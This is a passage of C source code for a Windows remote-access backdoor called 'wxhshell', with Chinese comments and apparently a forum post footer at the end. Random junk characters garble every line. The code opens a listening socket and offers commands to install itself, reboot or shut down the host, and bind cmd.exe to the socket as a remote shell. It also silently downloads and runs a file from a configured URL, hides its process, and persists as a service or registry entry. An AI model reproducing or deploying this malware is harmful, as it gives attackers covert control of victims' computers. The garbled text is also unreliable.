F\AX :  
    switch(cmd[0]) { 4.h=&jz&  
  X M#T'S9y8  
  // 帮助 .ir<s>YM  
  case '?': { Q/I! }C4  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); `'c_=<&n  
    break; x&9hI  
  } y[\VUzD*'  
  // 安装 m&\h4$[kql  
  case 'i': { l>{R`BZ/  
    if(Install()) +~roU{& o  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); n\5RAIg  
    else ("+}=*?OF3  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 6s\Kt3=  
    break; .k9{Yv0  
    } 7J|VD#DE$Y  
  // 卸载 0-|byAh  
  case 'r': { !+4cqO  
    if(Uninstall()) 0 79'(%  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); H(2]7dRS%  
    else Xn,v]$M!  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); \X&H;xnC5  
    break; 6290ZNvr  
    } 7#U^Dx\yh  
  // 显示 wxhshell 所在路径 mG`e3X6@-  
  case 'p': { T[4<R 5}  
    char svExeFile[MAX_PATH]; 1jPJw3"3h  
    strcpy(svExeFile,"\n\r"); &S]@Ot<z  
      strcat(svExeFile,ExeFile); F;[T#N:~  
        send(wsh,svExeFile,strlen(svExeFile),0); 7.@TK&  
    break; %]6~Eq%s  
    } @@rEs40  
  // 重启 UIAj]  
  case 'b': { ~J8pnTY  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); 2@~M4YJf  
    if(Boot(REBOOT)) Z]WnG'3N  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); C,NxE5?h  
    else { d&u]WVU  
    closesocket(wsh); *gF<m9&  
    ExitThread(0); d/|D<Sb[s  
    } :ORR_f`>  
    break; }kK[S|XVO  
    } =;|QZ"%E  
  // 关机 FwY&/\J7V  
  case 'd': { f<*Js)k  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); MR,R}B$  
    if(Boot(SHUTDOWN)) I,VH=Yn5,  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 3a 1u  
    else { Cc<,z*T  
    closesocket(wsh); d,tU#N{Q6  
    ExitThread(0); Qb; d:@9  
    } M=*bh5t%]  
    break; x^y"<  
    } qYf |Gv  
  // 获取shell 7aYn0_NKp  
  case 's': { MXiQ1 x  
    CmdShell(wsh); C?=P  
    closesocket(wsh); _s$_Sa ;  
    ExitThread(0); RZ7( J  
    break; mVsIAC$}8  
  } 1q3( @D5~+  
  // 退出 R:AA,^Z  
  case 'x': { 1>Dl\czn  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); 5"]~oPK  
    CloseIt(wsh); P"?FnTbv[  
    break; 7Wa?$6d  
    } [NIlbjYH  
  // 离开 ELjK0pE}-  
  case 'q': { #D9e$E(J^  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); 2gjGeM  
    closesocket(wsh); z%7SrUj2  
    WSACleanup(); rVa?JvDO=  
    exit(1); CWG6;NT6m  
    break; X_G| hx  
        } k@D0 {z  
  } I3:[= ,5  
  } (?kl$~&|  
<zy,5IlD  
  // 提示信息 }Jh: 8BNuP  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); Xy5s^82?  
} #:|+XLL  
  } 9F- )r'  
'snn~{hG  
  return; 5,;`$'?a%  
} G"59cv8z4R  
KkMay  
// shell模块句柄 CBKkBuKuk  
int CmdShell(SOCKET sock) (ihP `k-.  
{ qXW})(  
STARTUPINFO si; J.+BD\pa  
ZeroMemory(&si,sizeof(si)); 8; R|  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; V~yAE @9  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; %tt%`0  
PROCESS_INFORMATION ProcessInfo; J3b4cxm  
char cmdline[]="cmd"; .E~(h*NW  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); u@P[Vb   
  return 0; >A q870n  
} cZ+7.oDu  
yag}fQ(XH  
// 自身启动模式 GOB(#vu  
int StartFromService(void) 4Kv[e]10(  
{ HXVBb%pP  
typedef struct L]hXp t  
{ W*:,m8wk  
  DWORD ExitStatus; LFp]7Dq  
  DWORD PebBaseAddress; desThnT w  
  DWORD AffinityMask; ,kp\(X[J  
  DWORD BasePriority; 4^' 3&vu  
  ULONG UniqueProcessId; m&oi8 P-6  
  ULONG InheritedFromUniqueProcessId; x/MZ(A%D  
}   PROCESS_BASIC_INFORMATION; ^D_/=4rz8  
6V+ qnUk  
PROCNTQSIP NtQueryInformationProcess; &>jAe_{",  
QIn/,Yd  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; "4j:[9vR\  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; rba;&D;  
}T0K^Oe+eS  
  HANDLE             hProcess; p(m1O70 C  
  PROCESS_BASIC_INFORMATION pbi; qy!Ou3^  
YIp-Y}6  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); Zz |MIGHm  
  if(NULL == hInst ) return 0; RQvVR  
8g7,2f/ }  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); kK~IwA  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); ?vGf fMm  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); 5lJ )(|_  
1GE|Wd  
  if (!NtQueryInformationProcess) return 0; :Ze+%d=  
:y,v&Kk#T  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); 8Chu"PM%-J  
  if(!hProcess) return 0; Ei@M$Fd  
I5);jgb  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; FkupO I  
AdoZs8Q  
  CloseHandle(hProcess); ;}.Kb  
{sv{847V  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); rp :wQ H7  
if(hProcess==NULL) return 0; F X1ZG!  
f|aDTWF  
HMODULE hMod; VzRx%j/i  
char procName[255]; j%*7feSNC  
unsigned long cbNeeded; =OV2uq  
fd8#Ng"1  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); %xyX8c{sP  
jB^OP1  
  CloseHandle(hProcess); "] -],K  
+MO E  
if(strstr(procName,"services")) return 1; // 以服务启动 M\+*P,i  
8xI`jE"1  
  return 0; // 注册表启动 e}cnX`B  
} Hwe)Tsh e  
s3lwu :4f  
// 主模块 ?&h3P8  
int StartWxhshell(LPSTR lpCmdLine) =ziy`#fm,  
{ *R`MMm  
  SOCKET wsl; PG)_L.7rJ  
BOOL val=TRUE; K2/E#}/  
  int port=0; =O{~Q3z@s  
  struct sockaddr_in door; 'CS.p!Z\  
NyI ;v =  
  if(wscfg.ws_autoins) Install(); c! H 9yk  
r.FLGD U  
port=atoi(lpCmdLine); ~k4W<   
/k7wwZiY@  
if(port<=0) port=wscfg.ws_port; 5y_"  
2N6=8Xy 5K  
  WSADATA data; H=zN[MU  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; .)8   
l@d gJ  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   X#+`e+Df  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); h[ 6hM^n  
  door.sin_family = AF_INET; H] qq ~bO[  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); {B yn{?w  
  door.sin_port = htons(port); '%3{jc-}  
LnMwx#^*  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { ,\h YEup  
closesocket(wsl); _Nu` )m  
return 1; hD 46@  
} ! VRI_c  
z-0:m|=yH  
  if(listen(wsl,2) == INVALID_SOCKET) { H$-$2?5  
closesocket(wsl); o|2 87S|$  
return 1; C?Qf F{!7  
} t,vTAq.))  
  Wxhshell(wsl); $M]%vG  
  WSACleanup(); A"/aGCG0z  
\kwe51MQ  
return 0; +|nsu4t,<  
135Par5v  
} l6B.6 '4)w  
T~Yg5J  
// 以NT服务方式启动 Cals?u#U=  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) B {i&~k  
{ Tj,Nmb>Q7'  
DWORD   status = 0; g+Ph6W  
  DWORD   specificError = 0xfffffff; 6dT|;koWbm  
2_olT_#  
  serviceStatus.dwServiceType     = SERVICE_WIN32; :2q ?>\  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; p\ txlT  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; AZ8UXq  
  serviceStatus.dwWin32ExitCode     = 0; wd`R4CKhP]  
  serviceStatus.dwServiceSpecificExitCode = 0; -v*x V;[  
  serviceStatus.dwCheckPoint       = 0; \FI^ Vk  
  serviceStatus.dwWaitHint       = 0; ^~I @ spR4  
X"J%R/f  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); iE{Oit^aG  
  if (hServiceStatusHandle==0) return; &y3B)#dIJ  
 $o+&Y5:  
status = GetLastError(); `p"U  
  if (status!=NO_ERROR) V/UB9)i+  
{ @c"yAy^t  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; 5~yb ~0  
    serviceStatus.dwCheckPoint       = 0; ~ iT{8  
    serviceStatus.dwWaitHint       = 0; .xv ^G?GG  
    serviceStatus.dwWin32ExitCode     = status; Z)v)\l9d  
    serviceStatus.dwServiceSpecificExitCode = specificError; z`9l<Q/  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); 'j /q76uXV  
    return; 9XN~Ln@}  
  } 2<.Vv\ =  
2?*1~ 5~I  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; ` t\z   
  serviceStatus.dwCheckPoint       = 0; pFH?/D/q  
  serviceStatus.dwWaitHint       = 0; I;iR(Hf)?q  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); ?HxS)Pqq  
} ]EX--d<_`  
7+] F^ 6  
// 处理NT服务事件,比如:启动、停止 B=x~L  
VOID WINAPI NTServiceHandler(DWORD fdwControl) T.euoFU{Z  
{ k*9%8yi_ U  
switch(fdwControl) {1HB!@%,(  
{ xfU hSt  
case SERVICE_CONTROL_STOP: o(SuUGW  
  serviceStatus.dwWin32ExitCode = 0; <d<RK@2-  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; InX{V|CW?  
  serviceStatus.dwCheckPoint   = 0; o;'4c  
  serviceStatus.dwWaitHint     = 0; '!j(u@&!  
  { >?Qxpqf2  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); +wjlAqMQ  
  } ]J~g'">  
  return; 0eaUorm)  
case SERVICE_CONTROL_PAUSE: B#H2RTc  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; @>9A$w$H|a  
  break; v*gLNB,ZH  
case SERVICE_CONTROL_CONTINUE: ?ZM^%]/+  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; Kk56/(_S  
  break; cl#OvQ  
case SERVICE_CONTROL_INTERROGATE: `i{4cT8:  
  break; <W9) Bq4  
}; 6g5]=Q@U:  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); *kV#)j  
} v @_?iC"`  
"$%{}{#W0  
// 标准应用程序主函数 4] M =q{  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) zXDd,ltm  
{ [@s=J)H  
9M19 UP&  
// 获取操作系统版本 t)`+d=P   
OsIsNt=GetOsVer(); =z']s4  
GetModuleFileName(NULL,ExeFile,MAX_PATH); i!ds{`d  
FRD<0o/`  
  // 从命令行安装 fzOMX z  
  if(strpbrk(lpCmdLine,"iI")) Install(); *@=fq|6l 2  
A<1l^%i  
  // 下载执行文件 FL~9</  
if(wscfg.ws_downexe) { !}C4{Bgt*  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) _fe0,  
  WinExec(wscfg.ws_filenam,SW_HIDE); CYMM*4#  
} I[a%a!QO  
%G^(T%q| m  
if(!OsIsNt) { 4I+.^7d  
// 如果时win9x,隐藏进程并且设置为注册表启动 sF, uIr/  
HideProc(); Xd5! Ti}  
StartWxhshell(lpCmdLine); &?fvt  
} !c v6 #:  
else =NI.d>kvC  
  if(StartFromService()) E{?L= ^cU  
  // 以服务方式启动 ~ |J*E38  
  StartServiceCtrlDispatcher(DispatchTable); @b>YkJDk  
else q 8tP29  
  // 普通方式启动 tgS+" ugl  
  StartWxhshell(lpCmdLine); _;%.1H{N  
R\i]O  
return 0; ENpaaW@!Y  
}
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只看该作者 1 发表于: 2006-10-10
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